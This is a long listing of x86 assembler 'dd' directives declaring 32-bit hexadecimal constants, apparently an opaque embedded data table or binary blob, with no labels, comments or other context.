dd 60B39230h, 16120148h, 428310Eh, 9F900E66h, 9FD194C0h
dd 4CD64310h, 0EF82D0C6h, 7881B0B5h, 24DF92C7h, 0B6136C8Ch
dd 0D840235Fh, 19EF0C6Dh, 0ED2F496h, 91D8BBF0h, 0BE2F6FE0h
dd 28C02EB7h, 25A61660h, 311D1434h, 5890A849h, 0E69B3600h
dd 48C534E1h, 7EB4B21Fh, 4054C98Eh, 81D949FEh, 0C0DAE520h
dd 0CF3F8Ch, 0F68B6898h, 3491F5BFh, 2E639712h, 0A6197C81h
dd 8E65980h, 4258736Ah, 0FCD2C624h, 9E817839h, 40C08020h
dd 0B254F6E8h, 9300F098h, 2279443Ch, 3ECFC286h, 34056156h
dd 0C84F12E6h, 0F76FECh, 3FB633h, 0FE31019Ch, 0EFC5D76Dh
dd 58283D60h, 0EA0A1B5h, 0CDB16F0Fh, 0BCA12569h, 221A770Ch
dd 331F728Ch, 748009E2h, 3147D8BAh, 0BCD20014h, 1F9104A3h
dd 2D1F06DCh, 0CE46556Fh, 4C4936F7h, 0CF10E8D0h, 70292A22h
dd 5800A0A6h, 1D1F7AC5h, 1E126AF4h, 0F59B2959h, 0C7E48129h
dd 0CDC9012Bh, 4429B470h, 344C1C14h, 81918FD4h, 561A9FE7h
dd 9B08BC22h, 0D81E4F3Fh, 6BC2C7C3h, 0A2100B5Bh, 3002A0E3h
dd 1903BC76h, 14394C18h, 603B022h, 0C425A0EBh, 7830E754h
dd 94CFD092h, 68A84078h, 1300434Ah, 951DFE64h, 0E0A317h
dd 0AB8A382Fh, 3082BBAAh, 3B235A0Ah, 9700E8C3h, 1C599172h
dd 182748BCh, 0FFA1051h, 3D67185h, 0BC9BADA8h, 428F8918h
dd 3410871h, 19A1A2CBh, 158051B3h, 3000C8BBh, 0E3C30272h
dd 30433EFFh, 6550C42Eh, 772C15E0h, 8B0820C9h, 0FBA40958h
dd 4BB39C02h, 502490Fh, 0F08034CCh, 91B9B60Dh, 204C28B0h
dd 0F17C5FDBh, 0CB412376h, 59C6D920h, 0A90E503Bh, 0E425B5E8h
dd 93A4440Ch, 59F4EA7h, 0DC411687h, 7D953401h, 517376F4h
dd 0D820BC97h, 6DCA407Bh, 1F3FF61Fh, 0C677822h, 0CEDF2B33h
dd 7506B20h, 20996DFCh, 46D93C80h, 5F5ABFh, 87B27A84h
dd 1171B5E6h, 8146F4Dh, 316457A2h, 12B199A1h, 0EC528Fh
dd 2CA58AAh, 2B9B4534h, 2ED97927h, 1FB1E858h, 0AA9A0996h
dd 40AD1C25h, 59752D94h, 0C21C5395h, 8380F04Ah, 505D0AC9h
dd 0ABE5C04h, 604145Ch, 0A003B630h, 22658948h, 4380DE9h
dd 41314188h, 225175E8h, 608F12F4h, 50AC5491h, 662A1C10h
dd 0F60CE89Ah, 78BBCF23h, 358E3063h, 2D0B6959h, 29817A03h
dd 0A134CA52h, 18602F0Eh, 19FE7511h, 38BDFF53h, 0F0844D9Ah
dd 33F0976Eh, 3010E168h, 0B68A6172h, 1130B7EEh, 0A2007E37h
dd 0F1A5DA75h, 3527FBh, 0DD40D9C2h, 432B98AFh, 920A29DFh
dd 5F00980Fh, 2780A8EEh, 9ACA0512h, 143C0C9Eh, 18106028h
dd 7E981DE9h, 74B49D55h, 14A8A352h, 9308F431h, 0B3D98918h
dd 411C6F5Bh, 20781312h, 3165619Ch, 6C47CD1h, 3B2B9149h
dd 0FD341479h, 2BA1D4D0h, 0F3598232h, 0A15390FEh, 0B0AB2918h
dd 8ADA8435h, 0B508CC85h, 0C88693C4h, 109026F8h, 0B0AB5D73h
dd 402785BFh, 0A677F6BCh, 84A1D12Fh, 61911033h, 41C360F7h
dd 4E020F0Eh, 0A2B24A00h, 5E4BC831h, 6107669h, 0C6A5419Dh
dd 2128B9A0h, 0AA184CBBh, 0E6914619h, 3A7920F6h, 77E37A00h
dd 0B8EE8126h, 59A2005Dh, 0F5C7C0F2h, 5C7696BFh, 0E361AE00h
dd 0B5C48698h, 1DACF604h, 0C09185A9h, 2377C52Fh, 0B4003076h
dd 0A4709465h, 7D6EDh, 0F55FD9C4h, 92F3451Dh, 0B8B0800Eh
dd 40DAAC05h, 2CAF108Fh, 307000C8h, 519A52A7h, 0D30B00A4h
dd 53E8DBF9h, 6100B2FBh, 0B4935F1Fh, 357F4B8h, 824BA8ACh
dd 80FD38AFh, 0A6E17282h, 51A05216h, 0B59EDC22h, 0F8AA5F04h
dd 0E2091F72h, 9A50A4h, 0FBE1F0D8h, 5BE800D3h, 225FF3B8h
dd 0AF0045AEh, 0DA5405AAh, 0F48684B6h, 30047229h, 66407617h
dd 0ED009EA2h, 0DB0E100Ah, 0C0FB4CE9h, 80AB1458h, 0EA00F5BCh
dd 8EC0CA73h, 3028CB9Ah, 0E4407710h, 0A540639Eh, 0F30F00F4h
dd 0FB5FD3BEh, 16006CB6h, 0E7C89392h, 39965401h, 0CB8779FCh
dd 0F029C339h, 4F9ED744h, 0F4108F73h, 0D526CCEEh, 75942938h
dd 722DD8h, 0A469AAEFh, 0FED9F70h, 0D3DB0100h, 68BBFB5Eh
dd 835F0014h, 960EAAB4h, 7E00BF98h, 0B26DB891h, 76202Ah
dd 615D9FE7h, 0D6C0E655h, 0E8C5FB00h, 56AACA9Ah, 889C3D0Fh
dd 26EE1100h, 8C8AB98Eh, 46071E6h, 0ACE17840h, 0C0F08060h
dd 0DB06D500h, 0AEB89AD1h, 0AD180064h, 0EA6F19Ch, 0AA00DA5Ah
dd 2CC88C8Eh, 6A2BB2h, 52B8E16Dh, 9F26E61h, 0A0C4D181h
dd 558CB331h, 3E2EE6F8h, 0AA00811Eh, 0F1708F65h, 0D4E6E3F0h
dd 0FBA09502h, 1A5FBFh, 5D0FB9C1h, 86BDAC00h, 0B12CB45Bh
dd 0F81E677h, 9C249FEBh, 0E007E6E0h, 0D500DC01h, 27AFC046h
dd 3E819122h, 3F00B2F1h, 2E61B99Ch, 50039B5h, 0E27D6A28h
dd 0EC9E5FA7h, 100400E1h, 5B96C9F7h, 6001C1FBh, 0F192AC15h
dd 9DECF2B4h, 9C8A00AAh, 75C828B3h, 0E800906Ah, 5C6151A4h
dd 39D30CEDh, 6082C3B4h, 10279FFEh, 10B6ACC1h, 1384C1A3h
dd 346FB98Dh, 0FE046F08h, 0EC7CFD80h, 75001382h, 811959EAh
dd 291A7D10h, 5634CE31h, 0F85E300h, 1A60BEA5h, 83120092h
dd 2DDB5119h, 1CAE94CBh, 5EC5F619h, 0A1C5B510h, 99041980h
dd 0E082D7Ch, 18F821h, 8B6967BEh, 0CA166227h, 30C31F34h
dd 0E02100B4h, 2DB1695Fh, 0F105316Bh, 4487AB29h, 449F50E4h
dd 0AF05823Ch, 0C7575BB3h, 181AA4B0h, 3860EE44h, 0A1C00F56h
dd 49DC439Ah, 2FAC0522h, 67FE6971h, 5E16481Ch, 3BBDA4D0h
dd 4550006Ah, 8C7A0CA4h, 7E0C98F6h, 60DE2997h, 0AB1E4487h
dd 6C95942Eh, 1BDA803Bh, 0EBAEB30Fh, 38BB004Bh, 7E639160h
dd 0AC4A1FC7h, 31B80C83h, 0F54A1069h, 0C6A850A9h, 6902618Bh
dd 11C28D2Fh, 60C4D827h, 83E921C1h, 3C00A761h, 763FB1C0h
dd 311D2465h, 19B94731h, 0DAA450AFh, 4C00223Ch, 0BD57449Ah
dd 3F9B2D1h, 0C73B8CC9h
dd 98103801h, 6CC8A6BAh, 556410AFh, 365E3E95h, 5C6E1B80h
dd 2F9329F5h, 0ABC83950h, 9A06ECA4h, 348E639Eh, 0FC500039h
dd 12BA04D0h, 0B11DAA32h, 0E82531E2h, 1CF4767Ch, 80C844D0h
dd 2990FC5Eh, 0FB0031E5h, 352F67FFh, 15A677C2h, 0B4118685h
dd 0F4032D00h, 551296FBh, 0EA8EA20Eh, 21218C54h, 27F3FC52h
dd 0B4C41D72h, 973BBB0Bh, 5510E8CAh, 0B02383ECh, 0D0FD0164h
dd 181ABA05h, 0F5778848h, 2E63D000h, 0B242A83Dh, 0A7730070h
dd 309DDD40h, 1C25EE25h, 0C054242Ah, 30F67C82h, 89116965h
dd 0B9885227h, 695DDE80h, 4C08A0h, 0AC1E943Ah, 8B23BA9Bh
dd 3360CD50h, 2624686h, 0BA03D0FBh, 104C310Ah, 3D0F375h
dd 0F129E518h, 0C9C1FC05h, 2C203E67h, 0DF79BAh, 8239D764h
dd 0DE15D90Eh, 2B964100h, 55F9D1DBh, 2E2F1219h, 7F4F26Eh
dd 835D2DB2h, 9251AE30h, 38CAE0A4h, 6E80B68Bh, 0E12996F6h
dd 8C19736h, 20BFC6A5h, 0ABE4022Bh, 0C00F543Bh, 2773AAF5h
dd 0FE02021Ch, 9B7CEFB5h, 53B978A0h, 9DD89Fh, 490B2778h
dd 81360777h, 5C8E5FEEh, 0BB046691h, 0F9617E20h, 0E1931CF8h
dd 30B3D4C0h, 589780h, 6491A80Ah, 0C36BDF8h, 51011C10h
dd 92065F0Fh, 48FE6785h, 6AC0FBE4h, 43278E69h, 62E3807Ah
dd 94F869h, 7E877F5Eh, 6EBC067Ch, 33110312h, 0B20C7400h
dd 79245A61h, 93221230h, 5948019Bh, 306EF94Eh, 879D0FE7h
dd 0DBF26598h, 5294897Eh, 54600084h, 0C6D5C00Bh, 0AF02B159h
dd 8F5DB805h, 5484A03Eh, 0B9084Eh, 68F28E8Dh, 81D33544h
dd 7834CE04h, 0AC9982A6h, 10F8F3C0h, 0C854FA96h, 844F9F2Ah
dd 87AC5BF3h, 6171400Bh, 0BB0F3428h, 747BC631h, 496384E8h
dd 84E62F01h, 0A018A15Bh, 6F18B7D1h, 76636500h, 0D16E10C2h
dd 0C0BF4FE5h, 0AA97AD60h, 3E90C88h, 0B407B190h, 829CF75Bh
dd 44C10E10h, 178611C6h, 2D1FC981h, 308F5741h, 5000BDA4h
dd 687DBC0Ch, 60EBCDCFh, 6216011h, 23333FACh, 1C53915h
dd 49580D09h, 2EAFCB21h, 223F0043h, 0F6211869h, 0D98729B4h
dd 1AA58A00h, 0B21CFE57h, 2D447897h, 8C60C824h, 2F80B336h
dd 0DA173233h, 8C16EB8h, 88F18F5h, 0AD2F6D61h, 0ED40BBC4h
dd 5C506187h, 0D8D01A4Fh, 0CC62B3h, 0BC39E957h, 0FDB4F966h
dd 4F4D5000h, 61476996h, 0BBCE182Fh, 43CBF118h, 636852F5h
dd 83C00429h, 0F9F40160h, 11029623h, 3503F2Ah, 0BFFF10F3h
dd 1A3CE022h, 3D6B02EFh, 0E560F31h, 0D6402CAAh, 8036043Ah
dd 0CA1DBAD4h, 9878908h, 6B6FEC0Ch, 0F77B000h, 0D04FCE43h
dd 28B7E092h, 0E0FE1DB8h, 105EB312h, 0E307F8E2h, 0F1B1F4DEh
dd 304443D1h, 0F350ECB8h, 0A140A61Ch, 0C9E04F6h, 0D2A3C5B0h
dd 0C87E6460h, 23B9F940h, 38CF60EFh, 31D63075h, 5088F34Eh
dd 0F88500D9h, 118038DBh, 1F0188B3h, 8B82CA42h, 0E830BF30h
dd 0F8388C5Fh, 0F2B908D0h, 40456431h, 0AD0F072h, 0C804011Eh
dd 0C39D2752h, 8E455A7h, 8EC7F424h, 0A52F6CD1h, 0EC88BF18h
dd 0E1613A86h, 8DAFC000h, 0F66CB122h, 18B63300h, 9F36BB90h
dd 3CFB31CAh, 2001A560h, 5D4437F8h, 846F77B6h, 6B02FC46h
dd 82278F69h, 0E410B831h, 5E026963h, 987A6EDDh, 0EE32E01Ch
dd 8079DFFh, 912B939Fh, 0AA70D2A5h, 9E89BC20h, 6A241F8Fh
dd 1B584173h, 23FF7DCFh, 3025A25Ch, 0C6010E8Ch, 3397906Eh
dd 722FC002h, 0AC84524Ch, 618A60F0h, 852F2368h, 3E8443Bh
dd 0E3746182h, 3DF0A13Fh, 0E00ECBF1h, 73F828F6h, 699CF4h
dd 1D475FA8h, 1980C998h, 7D05EC00h, 0E0CE463Ch, 113B0B1h
dd 0A7B8FC76h, 6082F681h, 0F04307Ch, 3B8F3EADh, 43640C90h
dd 4769Ch, 97914CF5h, 3FFE6892h, 0B860CF79h, 4F594471h
dd 0E37000DCh, 0A77CF3EDh, 3300CEA1h, 68189AA0h, 67F4FAh
dd 8EF68B01h, 0BE0A54AAh, 3496FC24h, 11881752h, 5AA80C1h
dd 0E4A590BBh, 74440936h, 82003C60h, 2320AB2Bh, 3310E090h
dd 0C12B98Fh, 0DFCC0477h, 4E51DC6h, 0F9606038h, 0BA1001D0h
dd 4AC831FAh, 0D0F17385h, 6FA0F800h, 992F69Ch, 0C1A25B97h
dd 8C9818D2h, 5018746h, 2296FDF4h, 8B270C55h, 0E0F3E0B7h
dd 0FA0B8BB6h, 80E7D588h, 0EA06ED78h, 19F67139h, 3192AD45h
dd 1754640Dh, 873ACD43h, 8E5AAD40h, 812CD5h, 0C107227Fh
dd 33BC85C4h, 81804068h, 0FF0254A4h, 0F296F7F3h, 13221954h
dd 79F3F04Eh, 400616A5h, 6D30F42Ah, 0C792070Eh, 0E8658AA2h
dd 8740FC2Eh, 9A9D0E8h, 28F7226Ch, 0B7B56C40h, 0C1C2F096h
dd 8B9540F0h, 0FD5D09EEh, 0B8D9263Fh, 843A4A38h, 0AA05BB23h
dd 0F400667Ah, 6ED8B727h, 2B97124Ah, 0C4A4C7DAh, 0F210B2B2h
dd 0B1EC3027h, 93B79F0Bh, 3B9102A4h, 18047077h, 61023C0Ch
dd 0CF26F8EBh, 5E178367h, 0C688D807h, 461E8AC1h, 5B239460h
dd 8F64808Ch, 0A1247290h, 9E00ED7Ah, 7CFB260Eh, 21B4B06Fh
dd 27082067h, 5F606439h, 0CE563B86h, 3F967378h, 88320D9h
dd 93F4270Dh, 7C4C54A5h, 0F8C44E8h, 2AEFEB16h, 0F3D14667h
dd 88064EF7h, 40C3E5A7h, 0C0877DA0h, 0BD3EC8D1h, 61007AF5h
dd 0B43D7A8h, 518F23F8h, 0F00894AEh, 0CC794898h, 1CF3407Eh
dd 0EE0B5D0Bh, 0E8D2F5h, 99129B53h, 6DC340C9h, 0D40013F8h
dd 0AE11E7DBh, 48986C80h, 8A2E31CEh, 26342400h, 0B5467420h
dd 70CEB602h, 0E0F49162h, 0E667F200h, 44BFEE31h, 0AB04772Dh
dd 0B7AF5B39h, 310BA8B7h, 24F02F23h, 0DC5C9D00h, 4D6173EEh
dd 9C9E4956h, 1C731422h, 0E088315Eh, 6ECC4053h, 4FE62F0Ch
dd 132B702Ah, 227E9893h, 8830EE94h, 2F661161h, 80C38875h
dd 246180E6h, 0BC00BB09h, 80E6B96h, 0C22CCED2h, 973AE399h
dd 18F79891h, 8A690B66h, 0B81C5A27h, 695EDF01h, 3931F7C1h
dd 1259E9ECh, 471BC0Ch, 2B27E34h, 0FCED553Fh, 0A2C960A4h
dd 33804D6Bh, 896C33BEh, 0BFE804E8h, 0CD19A919h, 0A8F8421Ah
dd 6F2FF610h, 5154DC90h, 0D4FC1BB4h, 3E2F08A9h, 0E59B9C09h
dd 6049C420h, 1658A081h, 0E25DFE6Dh, 35C01D70h, 0C572CC0h
dd 2C460ECh, 9976EFB5h, 0B449F643h, 0EC307A91h, 5C63EDA7h
dd 0F3A2EC2Dh, 4444CCE7h, 75BC5B60h, 0E5D8030Fh, 76589AEFh
dd 1CB540B4h, 6E3F4266h, 0A5CF9D0Ch, 2A77E902h, 40747E07h
dd 0EA3E9459h, 0A698D90Dh, 46CC69B9h, 40789C66h, 28E08180h
dd 0CB270B06h, 0E0B843B3h, 8F53122Fh, 1CC22A9h, 0B320CC83h
dd 0B5D71388h, 27F18FF1h, 9239CBC3h, 0FD2884ECh, 90696C60h
dd 968A2725h, 64E500D8h, 0E974C669h, 18500B1Ah, 0B34056B4h
dd 172316B9h, 865C22D3h, 0B8F40430h, 0D81A4D2Ah, 539F2488h
dd 0DF10F380h, 25CF93EBh, 3807E7CAh, 837154B5h, 6924F224h
dd 46748475h, 0FCF800B5h, 2791A2E8h, 80F35EABh, 6929B98h
dd 0F6A58D02h, 7E0BC3CFh, 9A900268h, 0E8476A4Ah, 3660BE44h
dd 4324F513h, 7C1FB8ACh, 0CF325C04h, 8C5DECC8h, 0FED0F604h
dd 4C62E2B9h, 0D0EE7020h, 0DEFE00ADh, 1C5D9935h, 10BDF26Ch
dd 29A744h, 1F84D15Ch, 931376C4h, 0D66A0E09h, 0EC46B5h
dd 0E5B13B58h, 32770D13h, 0D27B2B16h, 5A6E50B4h, 23983BCCh
dd 89E8054Ch, 50EC064h, 191F594Ah, 0CE0B1F97h, 484703Dh
dd 2F1D70BCh, 80B14037h, 46365Fh, 0A3273B4h, 277ECCADh
dd 0B57B12F6h, 0EC039F5Bh, 0B0798F04h, 9AADF799h, 0BE2F0BC8h
dd 147A2C8Bh, 2436720h
dd 0D41F5258h, 0BCDA4226h, 8902EF46h, 7D2F6761h, 0E760B471h
dd 1FB6181h, 3D599764h, 0A03B3C2Fh, 900B9452h, 68C68663h
dd 0E9D192A4h, 30F33442h, 6B4C618Dh, 2234427Bh, 85EB00BCh
dd 56813B61h, 8F2AAE55h, 0B97B8CABh, 71C7E733h, 916819E4h
dd 0DA9FF911h, 0DEA1888Fh, 30BA7861h, 0A525E6E0h, 30CCA9C6h
dd 0A59B0710h, 6044E4E8h, 0EE91B253h, 0BE141E08h, 0A41ADE98h
dd 74DCA638h, 0FF00B746h, 171EB40Ch, 27036DD7h, 229D86F1h
dd 0ACD4E98Bh, 0E2A6E196h, 9CD90090h, 45BA3C94h, 2D0E3CDBh
dd 0BFEC4B80h, 5BB9F9A4h, 0CCA43373h, 40EB1B20h, 51C68935h
dd 59388Eh, 9356CF4Ch, 9F269B3Dh, 101C8C48h, 27005EE3h
dd 7486C6FBh, 724D5798h, 1EC7144Ch, 26240FF1h, 2A1DE26Fh
dd 53D4904Bh, 0F6BC403Bh, 0B50AE8B1h, 1E408CB1h, 2D59E4D0h
dd 6880272Bh, 6036248Dh, 8EA048C8h, 0E4A55996h, 0F2A0F276h
dd 466F30B6h, 0F373B101h, 4BF7A329h, 233FEF00h, 27F4AF5Dh
dd 11941778h, 0E10C8028h, 73F0BCFh, 1FCDEF0Fh, 5730E0E8h
dd 63648F55h, 4AA29C1h, 1D12288h, 0C1D733B9h, 872F9473h
dd 1051F042h, 4718B379h, 17668127h, 80C09140h, 5C62CF16h
dd 0FE460CF1h, 0D3E11F86h, 79216000h, 9590E4ACh, 0FFD500B3h
dd 12817749h, 310CDE08h, 0B8389BC6h, 763090F8h, 42A0BEBAh
dd 27003195h, 5C6C2114h, 6E5E4E0Fh, 9C4F2E64h, 0EEC2CE09h
dd 27610044h, 0FF9FE20Bh, 7002066Ch, 0C9466598h, 3620E1C3h
dd 9F70016Fh, 4BF54A72h, 0C2228840h, 60D1C03Ch, 0BA8C4600h
dd 13F007A0h, 0CCE16E56h, 0B2010C04h, 0E40A2B69h, 0E4389B99h
dd 5B13FC90h, 0E7E491D3h, 3F3C2025h, 0B122A22h, 5AC76073h
dd 26A88808h, 4A467C38h, 0F488C00h, 2EAECC68h, 0C65B9709h
dd 98F0C8D2h, 70925C9Eh, 588CB2E8h, 850044D3h, 2BD592BBh
dd 1F4CB24Ah, 3359C150h, 0E885C077h, 0F86E4336h, 74902C08h
dd 51A2198Dh, 0AEFC942Bh, 67592420h, 60EE31h, 6CE73464h
dd 4494A5B7h, 0B1915CBEh, 5404B000h, 0D07BD316h, 42152500h
dd 3FD71D03h, 61EC9C21h, 5498F68Bh, 0FAB002ECh, 1056993Bh
dd 0C01BB362h, 5BCF97h, 0BA92D541h, 17C720FEh, 0AF4730Ch
dd 60F64197h, 66D681ADh, 791713EBh, 78052932h, 9CE093B6h
dd 9B9A12CFh, 0E078C65Ch, 12BB1A44h, 0AC500A4Ah, 713B0009h
dd 0CCB7481h, 0C5262D3Ch, 909FD88Fh, 0C46E2FC2h, 65030054h
dd 479A1F1Eh, 0FB0086E0h, 99DE3DD2h, 59168D8h, 8098EE43h
dd 11D0C7BAh, 7C2CEFB6h, 8CB2EC3Ch, 9B27160Bh, 24D8D04Bh
dd 15ECF0B1h, 384880ECh, 778CBCE8h, 9DF10B53h, 24F803A3h
dd 91FC1795h, 293D85BBh, 8DD8A0C0h, 936509CDh, 0C5138BBh
dd 9C3D8F8Ah, 839DCB80h, 71B7D1Ah, 822D5794h, 5BB3036Ch
dd 3CF6ADE2h, 0A4A9B488h, 8182CEFh, 782825F3h, 5BB47605h
dd 1848CDCFh, 635588A6h, 0E82A3309h, 865D1770h, 62C35544h
dd 0CBC74883h, 0E6D68A13h, 2F9461Ch, 278C6968h, 10BA316Ah
dd 2C6960E1h, 1A04F1Eh, 0A20123FEh, 688DD4BDh, 10E04458h
dd 704476Fh, 0D7733330h, 131439Ch, 54C7A810h, 0F5926DC8h
dd 5A0090A9h, 0AC0E822Fh, 2C051118h, 20EA92D6h, 40B7850Bh
dd 0B064F9CCh, 23AB3008h, 662B8E11h, 28E0A94Bh, 3BB0CDDEh
dd 88486502h, 0C9A0EA20h, 47799C59h, 5D81F819h, 0CDD1C605h
dd 0D849274Bh, 0E438453Eh, 0F04460C3h, 6CF53B2Ch, 1AB3568Fh
dd 13228C14h, 3B20C800h, 0CDAF5FCFh, 0B4144AE3h, 8F4067CCh
dd 74BC010Ch, 1F96A797h, 0FCC0D6F0h, 0CE2531CFh, 253C7A33h
dd 7497AA4Fh, 41804791h, 2F33457Ah, 1561C67Dh, 5EB79351h
dd 627C4042h, 441C6784h, 8452604Bh, 15C20194h, 0B5F63C6Eh
dd 5C882AB3h, 558720A3h, 6FBE330Ch, 209B816Ch, 2F0542D7h
dd 341D9732h, 4C03C16h, 25A1F2D9h, 8C68CBAAh, 1795A272h
dd 80259180h, 0D63E841Bh, 3FC000C8h, 29E95540h, 285FA7EEh
dd 9C08D8C9h, 96F10987h, 4C60F65Bh, 0B898F98Bh, 25840E78h
dd 9422B8D7h, 3104CBA2h, 28A91A08h, 7918BBD1h, 3318DC79h
dd 0F660CEA3h, 0BE21DFF2h, 1E90DA00h, 65B53BCh, 0D4A44308h
dd 0BBA68FACh, 60042185h, 0D01FFF0Ch, 0A27F679h, 91C01745h
dd 1D3280BDh, 2C8DD999h, 937DC9Ch, 2CDA5153h, 0A415B329h
dd 19121891h, 370440A3h, 83C6383Bh, 29D99148h, 4B9098C7h
dd 23102ED3h, 2A0B02BDh, 0D4C0DEF8h, 9812ED6Eh, 5CC00F33h
dd 0E87E5896h, 0FF531459h, 0D326A8D9h, 426F8h, 15325481h
dd 6B079906h, 40B3F83h, 58F08064h, 0BB7859h, 79EFB533h
dd 8E57C8Eh, 93C6D0C3h, 1EF00435h, 0CE91ECF9h, 0C0B788C4h
dd 3F4050D0h, 6572018h, 9136E358h, 553708D0h, 7CBE3104h
dd 40008BCh, 0C628988Fh, 0B97BA80Bh, 1FCEB59h, 0CE4998Eh
dd 5460BF45h, 21C95FD7h, 40DBC94h, 0ECB828EDh, 8AEA421h
dd 425E48CFh, 9329044Bh, 78AD3BDBh, 318D310h, 0DDAFAB2Bh
dd 4A5E0B2h, 586562F9h, 81202EE7h, 58F180BEh, 0B9C11098h
dd 9DB14323h, 29499A68h, 0A750F147h, 610008B7h, 0A7B367C7h
dd 0BABE0495h, 40B11A0Bh, 0B51D9E5Ah, 0EACD006Ah, 17DD736Dh
dd 8A00F013h, 67257222h, 3033B9B7h, 9898C3FFh, 0FE5C8866h
dd 5C9702B0h, 58925B01h, 0A646217Ch, 0F8425E3Dh, 43310426h
dd 105EAD90h, 0C04AA11h, 8B2FD4ECh, 0B4322B8h, 186E5996h
dd 0B19F1882h, 8A78C713h, 6F409193h, 38A6D208h, 9040670Bh
dd 863C3748h, 0A0F62744h, 0A23258h, 7D697ABFh, 2BE2D80h
dd 4A009772h, 94E1C0EAh, 858C7CB3h, 3F0C4591h, 5320DE5Dh
dd 35223843h, 3401E0A0h, 0AE23D0C4h, 10E3531h, 99801986h
dd 0FBF259BFh, 4A026CCAh, 4907E987h, 145A86h, 4BEFD1A0h
dd 0D4FB9068h, 29C13405h, 0AC073FA1h, 8A06CF87h, 55EF21F8h
dd 0BCF37092h, 9A3026E2h, 0C1CF81Eh, 3C8F7011h, 50081D9h
dd 8478BEA3h, 26ED4917h, 90004B5h, 0C0470DCFh, 0FB60BB64h
dd 0BE09849Bh, 80F2ECA3h, 4398E009h, 5CC9594Eh, 8D985E3Dh
dd 5FA7E83Dh, 40DAA589h, 88BF7A4Ch, 0F6002812h, 31CE2983h
dd 991057B6h, 335F084Ch, 0E1FFE39h, 9D02BABBh, 0A48901E1h
dd 0A44051A0h, 0BBF95DB6h, 0A8C72316h, 0E48C8CC5h, 0B53B74BDh
dd 331C1430h, 908030B4h, 0E1A5CCADh, 316E13A0h, 53400408h
dd 2C091256h, 2068169Ah, 8F4834FCh, 0DB809F8Ch, 471D802Bh
dd 2A48008Dh, 0BBDE7042h, 0E424B7E5h, 9288CC04h, 483219C3h
dd 108C23BFh, 1784227Bh, 3FA7015Eh, 8E111423h, 2D2CD071h
dd 4912401h, 29D36EC9h, 0E8E1C945h, 23502F3Ah, 0C53100BEh
dd 8EC66043h, 931CA09Fh, 0E1C8285h, 4EC79772h, 5362E0E0h
dd 1BF0E839h, 418B8801h, 1C878101h, 6360A180h, 0EC0A3E5Dh
dd 0CDA5101Eh, 6428BC00h, 99C8BF9h, 0FFC6310Fh, 6706C840h
dd 4DEFC50Fh, 0C8358A1Dh, 7F32841h, 0FCD9064h, 0C5DDE11h
dd 5CDB7001h, 238C689Bh, 0F3FE0080h, 54EA96F6h, 804D9F85h
dd 2C0EF2F3h, 0E0A0747Eh, 0C477AD8Ah, 3333017h, 220C8454h
dd 2B390C37h, 6E18BF13h, 7009D0B0h, 0E216639Bh, 790C51F8h
dd 0BB51845h, 0C25D299Bh, 0CD27AC02h, 23A77703h, 0F7015E50h
dd 0EAB9FFD0h, 71802863h, 7BCDD0EFh, 0DC23CA00h, 0C665458Bh
dd 43864EC1h, 0A2DA29ECh, 510E9380h, 0B700747Fh, 160C9A8h
dd 166DEE8Bh, 90874259h
dd 89B1BE2Ch, 0CFD2FB0Fh, 9D9FE025h, 7BF235CDh, 2EBF4F1h
dd 6F650A79h, 0D4BC37h, 22D63004h, 0BB132302h, 0F4770C03h
dd 47B884B8h, 0C0C8008Ch, 0F427E95Bh, 44C8BD7h, 0C65D1410h
dd 8C45E890h, 5868FD00h, 0E2972442h, 0F63B1438h, 0EA00E09Eh
dd 322AB15Fh, 0A4941108h, 0C1465Eh, 5892C463h, 26F0CCE2h
dd 60086E80h, 0DF97D2A4h, 0CE4EDA00h, 0B805C132h, 8F10004h
dd 0DD1A7D7h, 0FC005D1Dh, 0BC0C9EFFh, 4AB55E76h, 0EE1090B1h
dd 0ADF6585Fh, 58B73E4Fh, 0B29B3712h, 304BE27Ch, 70008ED2h
dd 0BC97DADDh, 1D886169h, 5EB5EAF9h, 50C79723h, 18C6EC78h
dd 0BE0091ABh, 49100B83h, 8E367h, 434A7748h, 8C7698F5h
dd 0F8DE9D25h, 583A4014h, 0AD37E709h, 969C3107h, 4941E8CCh
dd 0F24B84CBh, 2C8B0094h, 0EF1404F0h, 8741765h, 9F04C80Fh
dd 2C1BF900h, 0FCA8BCBDh, 0F73B3BBBh, 0C067B0E4h, 2FEC2944h
dd 30C23D13h, 0BD81F4B8h, 60DF0D23h, 7D7E9800h, 43996E0Bh
dd 0BB6460A2h, 9B2D5BEDh, 89B480F4h, 0F42A6979h, 5DE012Fh
dd 92CF3411h, 5ABC6C3Fh, 6601007h, 4F7858ABh, 71909018h
dd 8800CA9Eh, 0E91ACED6h, 17D161ADh, 12A155DEh, 0B2680414h
dd 0F2A8A254h, 2B4E30B2h, 81A5933Ah, 0CE2F13B3h, 0CC443F57h
dd 0F863D417h, 9F2FB099h, 0C63B2798h, 0BB4F2850h, 9D77B4C8h
dd 2411BC97h, 0FA335A81h, 0ABE86079h, 52A44840h, 0B9E26831h
dd 0E2AB9033h, 28530245h, 0DAE79955h, 28719C62h, 99184D79h
dd 37F44401h, 7554CDCEh, 17FE9460h, 465E2B98h, 81A71864h
dd 354B840Fh, 1776C061h, 18975556h, 28A59E33h, 1C00FF89h
dd 71060765h, 70398Bh, 995A6074h, 3A54AA8Fh, 5E9CC80Eh
dd 84F48504h, 0A5AFCC08h, 0BEE47445h, 0E0E34F60h, 8E101B16h
dd 0B794A4h, 0B49A26B9h, 8BDA7BCAh, 88519D5Fh, 762C58FCh
dd 1170989Dh, 68C780A7h, 551657FEh, 0E813EE29h, 2230ECE2h
dd 9B75BB61h, 0D744331Eh, 28A6AC97h, 45A309E0h, 0F651D13h
dd 0EC02BC13h, 71A4D991h, 0D6E500E4h, 73E8CC0Ah, 4DF6102h
dd 5E321068h, 0B6465E20h, 63420B02h, 927F85C5h, 0B39F40A0h
dd 82D900F1h, 0F35934AEh, 784F6F2Fh, 2188DC8Bh, 43195CC0h
dd 0CB55D8Ah, 0DE989F24h, 57C5707h, 297589Dh, 0A7780191h
dd 0F4B8C4Ch, 6ABEA9C3h, 33BA4F1Fh, 0F5B8F013h, 0E79DFA05h
dd 80E61107h, 0FCD6FCB1h, 7CBC2E08h, 9A74C2DCh, 2C636E9Dh
dd 0B8A0864Fh, 8010B4F6h, 6514F2BFh, 6EF887CFh, 9D920702h
dd 0F1589BA3h, 18BAD9B8h, 0E5A7174Fh, 0AC70856Fh, 13C9160h
dd 0A147A955h, 0CDD4C4A0h, 8A9090B5h, 549075A8h, 28012504h
dd 6563B981h, 86D0913Bh, 81BBFA9h, 0E62F5109h, 1048E3D3h
dd 64E0BC0h, 2663CE31h, 93290818h, 3006494Fh, 7C98640Eh
